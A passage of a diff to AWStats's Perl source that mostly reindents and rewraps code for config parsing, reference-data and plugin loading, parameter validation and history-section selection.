+ "/etc/opt/awstats"
);
}
# If parameter NotPageList not found, init for backward compatibility
if ( !$FoundNotPageList ) {
%NotPageList = (
- 'css' => 1,
- 'js' => 1,
- 'class' => 1,
- 'gif' => 1,
- 'jpg' => 1,
- 'jpeg' => 1,
- 'png' => 1,
- 'bmp' => 1,
- 'ico' => 1,
- 'swf' => 1
+ 'css' => 1,
+ 'js' => 1,
+ 'class' => 1,
+ 'gif' => 1,
+ 'jpg' => 1,
+ 'jpeg' => 1,
+ 'png' => 1,
+ 'bmp' => 1,
+ 'ico' => 1,
+ 'swf' => 1
);
}
my $conflinenb = 0;
if ( $level > 10 ) {
- error( "$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
+ error(
+"$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."
);
}
}
}
if ( $level > 1 ) {
- warning( "Warning: Perl versions before 5.6 cannot handle nested includes"
+ warning(
+"Warning: Perl versions before 5.6 cannot handle nested includes"
);
next;
}
# If not a param=value, try with next line
if ( !$param ) {
- warning( "Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
+ warning(
+"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
);
next;
}
if ( !defined $value ) {
- warning( "Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
+ warning(
+"Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."
);
next;
}
foreach my $elem ( split( /\s+/, $value ) ) {
if ( $elem =~ s/^\@// ) { # If list of hostaliases in a file
open( DATAFILE, "<$elem" )
- || error( "Failed to open file '$elem' declared in HostAliases parameter"
+ || error(
+"Failed to open file '$elem' declared in HostAliases parameter"
);
my @val = map( /^(.*)$/i, <DATAFILE> );
push @HostAliases, map { qr/^$_$/i } @val;
while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
if ($Debug) {
debug( "Call to Read_Ref_Data with files to load: "
- . ( join( ',', @FileListToLoad ) ) );
+ . ( join( ',', @FileListToLoad ) ) );
}
foreach my $file (@FileListToLoad) {
foreach my $dir (@PossibleLibDir) {
my $searchdir = $dir;
- if ( $searchdir
- && ( !( $searchdir =~ /\/$/ ) )
- && ( !( $searchdir =~ /\\$/ ) ) )
+ if ( $searchdir
+ && ( !( $searchdir =~ /\/$/ ) )
+ && ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( -s "${searchdir}${file}" ) {
$FilePath{$file} = "${searchdir}${file}";
if ($Debug) {
- debug( "Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
+ debug(
+"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
);
}
# Sanity check (if loaded)
if ( ( scalar keys %OSHashID )
- && @OSSearchIDOrder != scalar keys %OSHashID )
+ && @OSSearchIDOrder != scalar keys %OSHashID )
{
- error( "Not same number of records of OSSearchIDOrder ("
- . (@OSSearchIDOrder)
- . " entries) and OSHashID ("
- . ( scalar keys %OSHashID )
- . " entries) in OS database. Check your file "
- . $FilePath{"operating_systems.pm"} );
+ error( "Not same number of records of OSSearchIDOrder ("
+ . (@OSSearchIDOrder)
+ . " entries) and OSHashID ("
+ . ( scalar keys %OSHashID )
+ . " entries) in OS database. Check your file "
+ . $FilePath{"operating_systems.pm"} );
}
if (
- ( scalar keys %SearchEnginesHashID )
- && ( @SearchEnginesSearchIDOrder_list1 +
- @SearchEnginesSearchIDOrder_list2 +
- @SearchEnginesSearchIDOrder_listgen ) != scalar
- keys %SearchEnginesHashID
+ ( scalar keys %SearchEnginesHashID )
+ && ( @SearchEnginesSearchIDOrder_list1 +
+ @SearchEnginesSearchIDOrder_list2 +
+ @SearchEnginesSearchIDOrder_listgen ) != scalar
+ keys %SearchEnginesHashID
)
{
error(
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
. (
- @SearchEnginesSearchIDOrder_list1 +
- @SearchEnginesSearchIDOrder_list2 +
- @SearchEnginesSearchIDOrder_listgen
+ @SearchEnginesSearchIDOrder_list1 +
+ @SearchEnginesSearchIDOrder_list2 +
+ @SearchEnginesSearchIDOrder_listgen
)
. " entries) and SearchEnginesHashID ("
. ( scalar keys %SearchEnginesHashID )
. " is up to date."
);
}
- if ((scalar keys %BrowsersHashIDLib) && @BrowsersSearchIDOrder != (scalar keys %BrowsersHashIDLib) - 4) { error("Not same number of records of BrowsersSearchIDOrder (".(@BrowsersSearchIDOrder)." entries) and BrowsersHashIDLib (".((scalar keys %BrowsersHashIDLib) - 4)." entries without msie,netscape,firefox,svn,opera,safari,chrome,konqueror) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file ".$FilePath{"browsers.pm"}." is up to date."); }
+ if ( ( scalar keys %BrowsersHashIDLib )
+ && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 4 )
+ {
+ error( "Not same number of records of BrowsersSearchIDOrder ("
+ . (@BrowsersSearchIDOrder)
+ . " entries) and BrowsersHashIDLib ("
+ . ( ( scalar keys %BrowsersHashIDLib ) - 4 )
+ . " entries without msie,netscape,firefox,svn,opera,safari,chrome,konqueror) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
+ . $FilePath{"browsers.pm"}
+ . " is up to date." );
+ }
if (
- ( scalar keys %RobotsHashIDLib )
- && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
- @RobotsSearchIDOrder_listgen ) !=
- ( scalar keys %RobotsHashIDLib ) - 1
+ ( scalar keys %RobotsHashIDLib )
+ && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
+ @RobotsSearchIDOrder_listgen ) !=
+ ( scalar keys %RobotsHashIDLib ) - 1
)
{
error(
"Not same number of records of RobotsSearchIDOrder_listx (total is "
. (
- @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
- @RobotsSearchIDOrder_listgen
+ @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
+ @RobotsSearchIDOrder_listgen
)
. " entries) and RobotsHashIDLib ("
. ( ( scalar keys %RobotsHashIDLib ) - 1 )
my $FileLang = '';
foreach (@PossibleLangDir) {
my $searchdir = $_;
- if ( $searchdir
- && ( !( $searchdir =~ /\/$/ ) )
- && ( !( $searchdir =~ /\\$/ ) ) )
+ if ( $searchdir
+ && ( !( $searchdir =~ /\/$/ ) )
+ && ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( !$FileLang ) {
foreach (@PossibleLangDir) {
my $searchdir = $_;
- if ( $searchdir
- && ( !( $searchdir =~ /\/$/ ) )
- && ( !( $searchdir =~ /\\$/ ) ) )
+ if ( $searchdir
+ && ( !( $searchdir =~ /\/$/ ) )
+ && ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
close(LANG);
}
else {
- warning( "Warning: Can't find language files for \"$_[0]\". English will be used."
+ warning(
+"Warning: Can't find language files for \"$_[0]\". English will be used."
);
}
if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
my %MonthNumLibEn = (
- "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
- "05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
- "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
+ "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
+ "05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
+ "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
);
while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
# Get older time
my (
- $oldersec, $oldermin, $olderhour, $olderday,
- $oldermonth, $olderyear, $olderwday, $olderyday
+ $oldersec, $oldermin, $olderhour, $olderday,
+ $oldermonth, $olderyear, $olderwday, $olderyday
)
= localtime( $starttime - ( $timephasenb * 3600 ) );
my $olderweekofmonth = int( $olderday / 7 );
my $olderweekofyear =
int(
- ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
- 7 ) + 1;
+ ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
+ 7 ) + 1;
if ( $olderweekofyear > 52 ) { $olderweekofyear = 1; }
my $olderdaymod = $olderday % 7;
$olderwday++;
debug( " BuildReportFormat=$BuildReportFormat", 2 );
debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
debug(
- " URLWithQueryWithOnlyFollowingParameters="
- . ( join( ',', @URLWithQueryWithOnly ) ),
- 2
+ " URLWithQueryWithOnlyFollowingParameters="
+ . ( join( ',', @URLWithQueryWithOnly ) ),
+ 2
);
debug(
- " URLWithQueryWithoutFollowingParameters="
- . ( join( ',', @URLWithQueryWithout ) ),
- 2
+ " URLWithQueryWithoutFollowingParameters="
+ . ( join( ',', @URLWithQueryWithout ) ),
+ 2
);
}
error("LogFormat parameter is not defined in config/domain file");
}
if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
- error( "LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
+ error(
+"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
);
}
$LogSeparator ||= "\\s";
$DirCgi ||= '/cgi-bin';
$DirIcons ||= '/icon';
if ( $DNSLookup !~ /[0-2]/ ) {
- error( "DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
+ error(
+"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
);
}
if ( !$SiteDomain ) {
- error( "SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
+ error(
+"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
);
}
if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
$DNSStaticCacheFile ||= 'dnscache.txt';
$DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
- error( "DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
+ error(
+"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
);
}
if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
$ExtraStatTypes[$extracpt] = 'PHBL';
}
- if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/
- || $MaxNbOfExtra[$extracpt] < 0 )
+ if ( $MaxNbOfExtra[$extracpt] !~ /^\d+$/
+ || $MaxNbOfExtra[$extracpt] < 0 )
{
$MaxNbOfExtra[$extracpt] = 20;
}
$MinHitExtra[$extracpt] = 1;
}
if ( !$ExtraFirstColumnValues[$extracpt] ) {
- error( "Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
+ error(
+"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
);
}
if ( !$ExtraFirstColumnFormat[$extracpt] ) {
$AddDataArrayShowHoursStats = 1;
}
my @maxnboflist = (
- 'Domain', 'HostsShown',
- 'LoginShown', 'RobotShown',
- 'WormsShown', 'PageShown',
- 'OsShown', 'BrowsersShown',
- 'ScreenSizesShown', 'RefererShown',
- 'KeyphrasesShown', 'KeywordsShown',
- 'EMailsShown'
+ 'Domain', 'HostsShown',
+ 'LoginShown', 'RobotShown',
+ 'WormsShown', 'PageShown',
+ 'OsShown', 'BrowsersShown',
+ 'ScreenSizesShown', 'RefererShown',
+ 'KeyphrasesShown', 'KeywordsShown',
+ 'EMailsShown'
);
my @maxnboflistdefaultval =
( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
- if ( !$MaxNbOf{ $maxnboflist[$i] }
- || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
- || $MaxNbOf{ $maxnboflist[$i] } < 1 )
+ if ( !$MaxNbOf{ $maxnboflist[$i] }
+ || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
+ || $MaxNbOf{ $maxnboflist[$i] } < 1 )
{
$MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
}
}
my @minhitlist = (
- 'Domain', 'Host', 'Login', 'Robot',
- 'Worm', 'File', 'Os', 'Browser',
- 'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
- 'EMail'
+ 'Domain', 'Host', 'Login', 'Robot',
+ 'Worm', 'File', 'Os', 'Browser',
+ 'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
+ 'EMail'
);
my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
- if ( !$MinHit{ $minhitlist[$i] }
- || $MinHit{ $minhitlist[$i] } !~ /^\d+$/
- || $MinHit{ $minhitlist[$i] } < 1 )
+ if ( !$MinHit{ $minhitlist[$i] }
+ || $MinHit{ $minhitlist[$i] } !~ /^\d+$/
+ || $MinHit{ $minhitlist[$i] } < 1 )
{
$MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
}
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
my $part = 0;
foreach my $conditioncouple (
- split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
+ split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
{
my ( $conditiontype, $conditiontypeval ) =
split( /[,:]/, $conditioncouple, 2 );
}
$part = 0;
foreach my $rowkeycouple (
- split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
+ split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
{
my ( $rowkeytype, $rowkeytypeval ) =
split( /[,:]/, $rowkeycouple, 2 );
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
debug(
- " ExtraCodeFilter[$extranum] is array "
- . join( ',', @{ $ExtraCodeFilter[$extranum] } ),
- 2
+ " ExtraCodeFilter[$extranum] is array "
+ . join( ',', @{ $ExtraCodeFilter[$extranum] } ),
+ 2
);
debug(
- " ExtraConditionType[$extranum] is array "
- . join( ',', @{ $ExtraConditionType[$extranum] } ),
- 2
+ " ExtraConditionType[$extranum] is array "
+ . join( ',', @{ $ExtraConditionType[$extranum] } ),
+ 2
);
debug(
- " ExtraConditionTypeVal[$extranum] is array "
- . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
- 2
+ " ExtraConditionTypeVal[$extranum] is array "
+ . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
+ 2
);
debug(
- " ExtraFirstColumnFunction[$extranum] is array "
- . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
- 2
+ " ExtraFirstColumnFunction[$extranum] is array "
+ . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
+ 2
);
debug(
- " ExtraFirstColumnValuesType[$extranum] is array "
- . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
- 2
+ " ExtraFirstColumnValuesType[$extranum] is array "
+ . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
+ 2
);
debug(
- " ExtraFirstColumnValuesTypeVal[$extranum] is array "
- . join( ',',
- @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
- 2
+ " ExtraFirstColumnValuesTypeVal[$extranum] is array "
+ . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
+ 2
);
}
}
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
- error( "URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
+ error(
+"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
);
}
# Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
- error( "ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
+ error(
+"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
);
}
# Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
- error( "A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
+ error(
+"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
);
}
if ($Debug) { debug( " Make directory $DirData", 2 ); }
my $mkdirok = mkdir "$DirData", 0766;
if ( !$mkdirok ) {
- error( "$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
+ error(
+"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
);
}
}
else {
- error( "AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
+ error(
+"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
);
}
}
# Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins"
# Debian package : "/usr/share/awstats/plugins"
my @PossiblePluginsDir = (
- "$DIR/plugins",
- "/usr/local/awstats/wwwroot/cgi-bin/plugins",
- "/usr/share/awstats/plugins"
+ "$DIR/plugins",
+ "/usr/local/awstats/wwwroot/cgi-bin/plugins",
+ "/usr/share/awstats/plugins"
);
my %DirAddedInINC = ();
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
if ($Debug) {
debug(
- "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
+ "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
}
foreach my $plugininfo (@PluginsToLoad) {
my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
# Check if plugin is not disabled
if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
if ($Debug) {
- debug( " Plugin load for '$pluginfile' has been disabled from parameters"
+ debug(
+" Plugin load for '$pluginfile' has been disabled from parameters"
);
}
next;
if ( !$PluginsLoaded{'init'}{"$pluginname"} )
{ # Plugin not already loaded
my %pluginisfor = (
- 'timehires' => 'u',
- 'ipv6' => 'u',
- 'hashfiles' => 'u',
- 'geoipfree' => 'u',
- 'geoip' => 'ou',
- 'geoip_region_maxmind' => 'mou',
- 'geoip_city_maxmind' => 'mou',
- 'geoip_isp_maxmind' => 'mou',
- 'geoip_org_maxmind' => 'mou',
- 'timezone' => 'ou',
- 'decodeutfkeys' => 'o',
- 'hostinfo' => 'o',
- 'rawlog' => 'o',
- 'userinfo' => 'o',
- 'urlalias' => 'o',
- 'tooltips' => 'o'
+ 'timehires' => 'u',
+ 'ipv6' => 'u',
+ 'hashfiles' => 'u',
+ 'geoipfree' => 'u',
+ 'geoip' => 'ou',
+ 'geoip_region_maxmind' => 'mou',
+ 'geoip_city_maxmind' => 'mou',
+ 'geoip_isp_maxmind' => 'mou',
+ 'geoip_org_maxmind' => 'mou',
+ 'timezone' => 'ou',
+ 'decodeutfkeys' => 'o',
+ 'hostinfo' => 'o',
+ 'rawlog' => 'o',
+ 'userinfo' => 'o',
+ 'urlalias' => 'o',
+ 'tooltips' => 'o'
);
if ( $pluginisfor{$pluginname} )
{ # If it's a known plugin, may be we don't need to load it
# Do not load "menu handler plugins" if output only and mainleft frame
- if ( !$UpdateStats
- && scalar keys %HTMLOutput
- && $FrameName eq 'mainleft'
- && $pluginisfor{$pluginname} !~ /m/ )
+ if ( !$UpdateStats
+ && scalar keys %HTMLOutput
+ && $FrameName eq 'mainleft'
+ && $pluginisfor{$pluginname} !~ /m/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
}
# Do not load "update plugins" if output only
- if ( !$UpdateStats
- && scalar keys %HTMLOutput
- && $pluginisfor{$pluginname} !~ /o/ )
+ if ( !$UpdateStats
+ && scalar keys %HTMLOutput
+ && $pluginisfor{$pluginname} !~ /o/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
}
# Do not load "output plugins" if update only
- if ( $UpdateStats
- && !scalar keys %HTMLOutput
- && $pluginisfor{$pluginname} !~ /u/ )
+ if ( $UpdateStats
+ && !scalar keys %HTMLOutput
+ && $pluginisfor{$pluginname} !~ /u/ )
{
$PluginsLoaded{'init'}{"$pluginname"} = 1;
next;
# Load plugin
foreach my $dir (@PossiblePluginsDir) {
my $searchdir = $dir;
- if ( $searchdir
- && ( !( $searchdir =~ /\/$/ ) )
- && ( !( $searchdir =~ /\\$/ ) ) )
+ if ( $searchdir
+ && ( !( $searchdir =~ /\/$/ ) )
+ && ( !( $searchdir =~ /\\$/ ) ) )
{
$searchdir .= "/";
}
if ( !$loadret || $loadret =~ /^error/i ) {
# Load failed, we stop here
- error( "Plugin load for plugin '$pluginname' failed with return code: $loadret"
+ error(
+"Plugin load for plugin '$pluginname' failed with return code: $loadret"
);
}
my $ret; # To get init return
# Some functions can only be plugged once
my @uniquefunc = (
- 'GetCountryCodeByName',
- 'GetCountryCodeByAddr',
- 'ChangeTime',
- 'GetTimeZoneTitle',
- 'GetTime',
- 'SearchFile',
- 'LoadCache',
- 'SaveHash',
- 'ShowMenu'
+ 'GetCountryCodeByName',
+ 'GetCountryCodeByAddr',
+ 'ChangeTime',
+ 'GetTimeZoneTitle',
+ 'GetTime',
+ 'SearchFile',
+ 'LoadCache',
+ 'SaveHash',
+ 'ShowMenu'
);
my $isuniquefunc = 0;
foreach my $function (@uniquefunc) {
# We try to load a 'unique' function, so we check and stop if already loaded
foreach my $otherpluginname (
- keys %{ $PluginsLoaded{"$elem"} } )
+ keys %{ $PluginsLoaded{"$elem"} } )
{
- error( "Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
+ error(
+"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
);
}
$isuniquefunc = 1;
}
}
else {
- warning( "Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
+ warning(
+"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
);
}
}
}
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
- if ( $PluginsLoaded{'init'}{'geoip'}
- || $PluginsLoaded{'init'}{'geoipfree'} )
+ if ( $PluginsLoaded{'init'}{'geoip'}
+ || $PluginsLoaded{'init'}{'geoipfree'} )
{
$Message[17] = $Message[25] = $Message[148];
}
my $lastlinechecksum = shift || 0;
my %allsections = (
- 'general' => 1,
- 'misc' => 2,
- 'time' => 3,
- 'visitor' => 4,
- 'day' => 5,
- 'domain' => 6,
- 'cluster' => 7,
- 'login' => 8,
- 'robot' => 9,
- 'worms' => 10,
- 'emailsender' => 11,
- 'emailreceiver' => 12,
- 'session' => 13,
- 'sider' => 14,
- 'filetypes' => 15,
- 'os' => 16,
- 'browser' => 17,
- 'screensize' => 18,
- 'unknownreferer' => 19,
- 'unknownrefererbrowser' => 20,
- 'origin' => 21,
- 'sereferrals' => 22,
- 'pagerefs' => 23,
- 'searchwords' => 24,
- 'keywords' => 25,
- 'errors' => 26
+ 'general' => 1,
+ 'misc' => 2,
+ 'time' => 3,
+ 'visitor' => 4,
+ 'day' => 5,
+ 'domain' => 6,
+ 'cluster' => 7,
+ 'login' => 8,
+ 'robot' => 9,
+ 'worms' => 10,
+ 'emailsender' => 11,
+ 'emailreceiver' => 12,
+ 'session' => 13,
+ 'sider' => 14,
+ 'filetypes' => 15,
+ 'os' => 16,
+ 'browser' => 17,
+ 'screensize' => 18,
+ 'unknownreferer' => 19,
+ 'unknownrefererbrowser' => 20,
+ 'origin' => 21,
+ 'sereferrals' => 22,
+ 'pagerefs' => 23,
+ 'searchwords' => 24,
+ 'keywords' => 25,
+ 'errors' => 26
);
my $order = ( scalar keys %allsections ) + 1;
my $readvisitorforbackward = 0;
if ($Debug) {
- debug( "Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
+ debug(
+"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
);
}
if ($Debug) { debug("date=$date"); }
# When
$SectionsToLoad{'time'} = $order
++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowHostsStats )
- || $HTMLOutput{'allhosts'}
- || $HTMLOutput{'lasthosts'}
- || $HTMLOutput{'unknownip'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowHostsStats )
+ || $HTMLOutput{'allhosts'}
+ || $HTMLOutput{'lasthosts'}
+ || $HTMLOutput{'unknownip'} )
{
$SectionsToLoad{'visitor'} = $order++;
} # Must be before day, sider and session section
if (
- $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'}
- && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
- || $HTMLOutput{'alldays'}
+ $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'}
+ && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
+ || $HTMLOutput{'alldays'}
)
{
$SectionsToLoad{'day'} = $order++;
}
# Who
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowDomainsStats )
- || $HTMLOutput{'alldomains'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowDomainsStats )
+ || $HTMLOutput{'alldomains'} )
{
$SectionsToLoad{'domain'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
- || $HTMLOutput{'alllogins'}
- || $HTMLOutput{'lastlogins'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
+ || $HTMLOutput{'alllogins'}
+ || $HTMLOutput{'lastlogins'} )
{
$SectionsToLoad{'login'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowRobotsStats )
- || $HTMLOutput{'allrobots'}
- || $HTMLOutput{'lastrobots'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowRobotsStats )
+ || $HTMLOutput{'allrobots'}
+ || $HTMLOutput{'lastrobots'} )
{
$SectionsToLoad{'robot'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowWormsStats )
- || $HTMLOutput{'allworms'}
- || $HTMLOutput{'lastworms'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowWormsStats )
+ || $HTMLOutput{'allworms'}
+ || $HTMLOutput{'lastworms'} )
{
$SectionsToLoad{'worms'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowEMailSenders )
- || $HTMLOutput{'allemails'}
- || $HTMLOutput{'lastemails'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowEMailSenders )
+ || $HTMLOutput{'allemails'}
+ || $HTMLOutput{'lastemails'} )
{
$SectionsToLoad{'emailsender'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowEMailReceivers )
- || $HTMLOutput{'allemailr'}
- || $HTMLOutput{'lastemailr'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowEMailReceivers )
+ || $HTMLOutput{'allemailr'}
+ || $HTMLOutput{'lastemailr'} )
{
$SectionsToLoad{'emailreceiver'} = $order++;
}
# Navigation
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowSessionsStats )
- || $HTMLOutput{'sessions'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowSessionsStats )
+ || $HTMLOutput{'sessions'} )
{
$SectionsToLoad{'session'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowPagesStats )
- || $HTMLOutput{'urldetail'}
- || $HTMLOutput{'urlentry'}
- || $HTMLOutput{'urlexit'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowPagesStats )
+ || $HTMLOutput{'urldetail'}
+ || $HTMLOutput{'urlentry'}
+ || $HTMLOutput{'urlexit'} )
{
$SectionsToLoad{'sider'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowFileTypesStats )
- || $HTMLOutput{'filetypes'} )
+ if ( $UpdateStats
+ || $MigrateStats
+ || ( $HTMLOutput{'main'} && $ShowFileTypesStats )
+ || $HTMLOutput{'filetypes'} )
{
$SectionsToLoad{'filetypes'} = $order++;
}
- if ( $UpdateStats
- || $MigrateStats
- || ( $HTMLOutput{'main'} && $ShowOSStats )
- || $HTMLOutput{'osdetail'} )
+ if ( $UpdateStats
+ || $MigrateStats
